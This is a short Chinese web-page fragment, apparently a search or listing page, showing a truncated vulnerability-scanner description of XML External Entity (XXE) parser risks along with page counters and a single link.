  • 使用配置的 XML 解析器无法预防和限制外部实体进行解析,这会使解析器暴露在 XML External Entities 攻击 之下 说明: XML External Entities 攻击可利用能够在处理时动态构建文档的 XML 功能。XML 实体可动态...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 19,169
精华内容 7,667
关键字:

xml外部实体注入

友情链接: fxlms_code.rar